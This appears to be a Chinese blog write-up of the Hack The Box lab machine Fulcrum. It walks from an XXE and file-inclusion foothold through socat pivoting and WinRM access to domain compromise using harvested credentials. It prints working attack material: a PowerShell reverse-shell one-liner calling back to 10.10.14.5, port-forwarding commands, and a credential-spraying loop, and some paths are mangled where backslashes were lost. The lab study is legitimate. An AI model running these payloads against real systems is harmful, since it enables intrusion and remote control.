HTB-靶机-Fulcrum

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.62

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.62 -o ./Fulcrum-autorecon

此靶机有一定的难度,官方显示如下:

扫描结果如下:

根据开放的端口一个一个访问

先放着,这里点击了下try again 看到显示的url,根据经验和前面做了靶机判断可能存在文件包含,先放着继续向下看

一个Windows报错页面,暂时放着,后面测试,知道最终是要拿Windows的权限,继续

是个phpmyadmin页面

是个关于sense的web页面

像是个api接口;

到了这一步基本上该测试的端口都测试完了,那么我猜想这里的难度就是干扰太多,例如前面看到的phpmyadmin页面,sense也面都会导致测试者在这上面花很多实际,而实际情况是等你在前面的所有端口测试完毕之后,最后一个端口56423才是打开目标入口的必经之路,关于10.10.10.62:56423 此页面是需要通过burpsuite进行漫长的测试,最终得出存在xxe漏洞,然后配合前面提到的可能存在文件包含漏洞进行配置利用反弹拿shell

反弹shell

通过msf配置生成反弹shell代码,这里也是可以使用php-reverse-shell.php

上面3步搞定完成之后,本地kali使用python搭建一个简易web,然后执行burpsuite的请求,即可反弹shell

通过msf拿到的反弹shell不好升级tty-shell,我这里特地演示出来,如果要升级tty-shell需要在此shell基础之上再反弹个shell到本地kali然后套路就是一样的可以升级tty-shell,最终得出如下tty-shell

拿到shell之后翻看了目标靶机的各种文件,得到如下重要信息

这是个powershell加密的密码信息,解密以下

得知了用户名WebUser 密码:M4ng£m£ntPa55

可参考:

https://devblogs.microsoft.com/scripting/decrypt-powershell-secure-string-password/
https://github.com/PowerShell/PowerShell

执行arp -an发现存在IP地址192.168.122.228 可以使用nc进行扫描,但是我觉得慢了,尝试使用静态编译好的二进制文件nmap进行扫描

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

扫描出来目标开放了端口5986 ,这里是跟winrm有关,可以通过上面得到的账户和密码和这个端口进行反弹shell,在做这一步操作之前先使用ssh或者socat进行端口转发,我这里使用静态编译好的socat进行转发端口

使用静态二进制文件socat进行端口转发
目标靶机执行
./socat tcp-listen:28833,reuseaddr,fork tcp:192.168.122.228:5986 &
kali上执行
socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:28833 &
上面的最终效果就是在kali本地监听了一个5986端口,这个端口相当于192.168.122.228的5986端口
静态socat文件下载地址:https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat

使用winrm管理

对应shell脚本代码

https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
修改代码保存名称为:bmfxrm.rb

require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
 endpoint: 'https://127.0.0.1:5986/wsman',
 transport: :ssl,
 user: 'webuser',
 password: 'M4ng£m£ntPa55',
 :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit
" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

上述代码修改完成之后,安装对应的winrm以来文件
sudo gem install -r winrm

成功之后,执行ruby bmfxrm.rb

还是不能拿到user.txt继续搞,执行下面代码收集需要信息

(New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }

(New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(info=*)")).FindAll() | %{ $_.Properties }

得到上面的信息就可以跳到FULCRUMBTABLES ,具体执行如下,进行反弹shell

$passwd = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('FULCRUMBTABLES', $passwd)

Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }

这里需要本地监听53端口进行反弹shell,其他端口有问题

反弹成功之后,访问DC服务器,然后根据枚举获得的管理员账户和密码进行提权

访问域控制器
net use \dc.fulcrum.local
etlogon /user:fulcrumtables ++FileServerLogon12345++

进入域控制器
cd \dc.fulcrum.local
etlogon

使用下面的脚本枚举出具备管理员权限的凭据名称
function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \dc.fulcrum.local
etlogon*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local$user" "$pass") { echo "fulcrum.local$user $pass"; }; }

上述运行结果得出管理员凭据名称
fulcrum.local923a @fulcrum_bf392748ef4e_$

上述操作完成就知道了账户和密码,那么我们就可以同样的方式使用监听53端口反弹shell,只是需要更改用户名和密码

$passwd = ConvertTo-SecureString '@fulcrum_bf392748ef4e_$' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('fulcrum.local923a', $passwd)

Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }

$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:UsersAdministratorDesktop
oot.txt }

这里也是不太明白,明明可以直接读取root.txt但是不成功,必须按照上面那么执行,网上给的资料看样子是可以那么操作,但实际不成功,有知道的大佬联系下

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14049762.html